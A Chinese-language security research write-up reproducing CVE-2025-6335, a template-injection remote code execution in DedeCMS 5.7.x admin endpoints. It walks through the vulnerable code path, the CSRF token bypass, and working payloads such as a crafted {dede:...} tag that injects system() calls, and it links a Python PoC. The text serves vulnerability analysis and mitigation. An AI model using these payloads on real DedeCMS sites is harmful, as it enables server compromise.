DedeCMS命令执行复现研究 | CVE-2025-6335
0x0 背景介绍
在 DеdеCMS 5.7.2
及更早版本中发现了一个漏洞,并被归类为严重。此问题影响文件 /inсludе/dеdеtаɡ.class.phр
中的某个未知处理过程,该组件为模板处理器。对参数 nоtеѕ
的操作导致命令注入。
参考:CVE-2025-6335-dedeCMS后台模板注入RCE
0x1 环境搭建
1. Win10+PHPsutudy(PHP5.6x)搭建
- 项目直接下载地址:DedeCMS-V5.7.118-UTF8.zip
PS:项目搭建简单可以看官方手册DedeCMS-win;
安装:访问后直接默认安装就可以,无其他要求
2. 成功页面
0x2 漏洞复现
1) 手动测试tag_test_action.php
,向Temp文件夹写入文件
- 成功写入
2) 手动测试co_get_corule.php
,弹出计算器
- 成功弹出计算器
3) python脚本
- 粗略的做了一个目标是
win
系统的,只是简单的验证
https://github.com/Kai-One001/cve-/blob/main/dede_cms_RCE_CVE-2025-6335.py
- 示例脚本是向目标
C:\Windows\Temp
写入,也可以写入到web服务器
中,脚本也是可以直接修改cmd
命令比较方便一些
- 题外,因为时间不赶趟了,所以写入目标服务器就没融入脚本
2、复现流量特征 (PACP)
1) co_get_corule.php接口
- 弹出计算器
2) tag_test_action.php接口
- 写入文件
0x3 漏洞原理分析
1、/dede/co_get_corule.php接口分析
PS:通过漏洞信息得知通过向 /dede/co_get_corule.php
接口发送特制参数,利用对 notes
参数的不当过滤,触发命令注入,实现远程命令执行。
1) 优先查看 /dede/co_get_corule.php文件
- 文件位置:
uploads\dede\co_get_corule.php
- 关键代码段:
require(dirname(__FILE__)."/config.php");$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{header("location:login.php?gotopage=".urlencode($dedeNowurl));exit();
}
- 检查是否检查用户是否登录,未登录则跳转到登录页面
CheckPurview('co_AddNote');
#使用config.php内容+检查用户使用有权限(CheckPurview() 函数)
2) 跟踪定位notes参数
- 在
co_get_corule.php
发现多处使用,进行过滤发现大抵流程是 当$job
不为空时,进入notes
- 再往下面逻辑是
base64解码
、去除下反斜杠
,接着往下看
$notes = trim($notes);
3) 模板解析和标签提取
- 关键代码:
$dtp = new DedeTagParse();
$dtp->LoadString($notes);
- 调用路径追踪:
LoadString($str)└──> LoadSource($str)└──> LoadTemplate($filename)└──> ParseTemplet()└──> 提取 {dede:xxx} 标签 → 构建 CTags 数组
- 将
$notes
作为DedeCMS
模板字符串进行解析 - 这里会用到
dedetag.class.php
因为LoadString()
- 会调用提取所有
{dede:xxx}
标签 后续LoadTemplate()
读取该文件并触发ParseTemplet()
4) 查看LoadString() 方法的实现 - 文件位置:
uploads/include/dedetag.class.php
function LoadString($str)
{$this->LoadSource($str);
}
- 调用了
LoadSource($str)
,查看具体方法
function LoadSource($str){/*$this->SetDefault();$this->SourceString = $str;$this->IsCache = FALSE;$this->ParseTemplet();*///优化模板字符串存取读取方式$this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';if( !is_file($filename) ){file_put_contents($filename, $str);}$this->LoadTemplate($filename);}
- 调用了
LoadTemplate($filename)
,在进去套娃
function LoadTemplate($filename)
{$this->SetDefault();if(!file_exists($filename)){$this->SourceString = " $filename Not Found! ";$this->ParseTemplet(); // 直接调用 ParseTemplet}else{$fp = @fopen($filename, "r");while($line = fgets($fp,1024)){$this->SourceString .= $line;}fclose($fp);if($this->LoadCache($filename)){return '';}else{$this->ParseTemplet(); // 正常流程也调用 ParseTemplet}}
}
- 到这里就看到所以无论文件是否存在,只要没有缓存命中,最终都会调用
ParseTemplet()
。
5)那就查看ParseTemplet
方法 - 这个方法的作用是:
遍历 $this->SourceString
找出所有{dede:xxx}
开头的标签
提取标签名、属性、内嵌文本(InnerText)
构建DedeTag
对象并存入 $this->CTags
数组
$FullTagStartWord = $TagStartWord.$this->NameSpace.":";
...
$sPos = strpos($this->SourceString, $FullTagStartWord, $ss);
- 然后提取
tTagName
,解析属性,设置InnerText
,最后加入CTags
数组。
6)跟踪CTags函数 - 是在
dedetag.class.php
中,SaveCache()
方法将标签信息写入缓存文件(.inc)
function SaveCache(){$fp = fopen($this->CacheFile.'.txt',"w");fwrite($fp,$this->TempMkTime."\n");fclose($fp);$fp = fopen($this->CacheFile,"w");flock($fp,3);fwrite($fp,'<'.'?php'."\r\n");$errmsg = '';if(is_array($this->CTags)){foreach($this->CTags as $tid=>$ctag){$arrayValue = 'Array("'.$ctag->TagName.'",';if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) {fclose($fp);@unlink($this->taghashfile);@unlink($this->CacheFile);@unlink($this->CacheFile.'.txt');die($errmsg);}$arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"';$arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});";fwrite($fp,"\$z[$tid]={$arrayValue}\n");if(is_array($ctag->CAttribute->Items)){fwrite($fp,"\$z[$tid][4]=array();\n");foreach($ctag->CAttribute->Items as $k=>$v){$v = str_replace("\\","\\\\",$v);$v = str_replace('"',"\\".'"',$v);$v = str_replace('$','\$',$v);$k = trim(str_replace("'","",$k));if($k==""){continue;}if($k!='tagname'){fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n");}}}}}fwrite($fp,"\n".'?'.'>');fclose($fp);}
$ctag->TagName
是从用户输入中提取的标签名(如 {dede:xxx} 中的 xxx)
- 直接拼接到
PHP
代码中,未进行转义或过滤 - 直接拼接到
fwrite
输出的PHP
代码中 - 构造恶意“标签名”即可在缓存
inc
中打断字符串并插入任意PHP
,例如:
{dede:ewoji");system('calc');///} → 下次读缓存时被包含执行
- 缓存文件的生成位置也就是
/data/tplcache/md5($notes).inc
同一个恶意Payload
每次都会生成相同的缓存文件名 - 攻击载荷示例:
{dede:ewoji");system('calc');//}
ParseTemplet()
解析出标签名:ewoji");system('calc');//
- 在
SaveCache()
中生成缓存文件.inc
内容如下:
<?php
$z[0]=Array("ewoji");system('calc');//", "...", ...);
?>
- 当该缓存文件被后续
include 或 require
加载时,system('calc')
将被执行
2、/dede/tag_test_action.php接口分析
1) 同上接口,可控参数导致直接拼接注入
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('temp_Test');
require_once(DEDEINC."/arc.partview.class.php");
csrf_check();
-
和
co_get_corule.php
接口相同,对权限进行检查,不同的是会有csrf-token
检查 -
在测试时,我根据参考进行直接
POST
,果然会提示DedeCMS:CSRF Token Check Failed!
-
于是找到
web
页面进行抓包,看到有一个token
,可以正常使用(这个token
就是在当前接口的HTML
中)
2) 转义绕过
$partcode = stripslashes($partcode); // 去除斜杠
- 作用:去除
GPC
自动添加的反斜杠(如 ' → \')
,但是即使输入中包含引号、括号等特殊字符,也能被还原
3) SetTemplet() 将用户输入的 $partcode 作为“模板字符串”传入
// 设置模板内容为字符串形式
$pv->SetTemplet($partcode, "string");// 显示源码(可选)
if( $showsource == "" || $showsource == "yes" ) {echo "模板代码:";echo "<span style='color:red;'><pre>".dede_htmlspecialchars($partcode)."</pre></span>";echo "结果:<hr size='1' width='100%'>";
}// 执行显示
$pv->Display();
- 当标签闭合不当或拼接到
PHP
代码中时,可能触发代码注入
调用追踪如下
$pv->Display()└── $this->MakeHtml() └── $this->dtp->ParseTemplate($this->SourceString)└── 调用 DedeTagParse 类解析标签└── 对 {dede:...} 进行 eval 或 create_function 执行
DedeCMS
在处理{dede:xxx}
标签时,会将其转换为PHP
代码片段。例如:
传入:{dede:test /}
被转换为:
<?php echo GetTagData('test'); ?>
如果标签内容异常,如:
{dede:test"}); system('calc'); //}
在拼接进 PHP 缓冲区时,可能导致语法闭合 + 代码注入
0x4 修复建议
修复方案
-
升级到最新版本?:目前厂商说已发布升级补丁以修复漏洞,但是我下载也是这个版本的
V5.7.118
-
临时缓解措施:
- 禁用危险字符拼接 :
SaveCache()
方法,对$ctag->TagName
进行转义; - 白名单机制:只允许预定义的合法标签名(如
field, list, arc
等),其余一律拒绝; - 输入过滤:增加对
notes
内容的合法性校验; - 强化口令:账户最小化原则。
- 禁用危险字符拼接 :
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。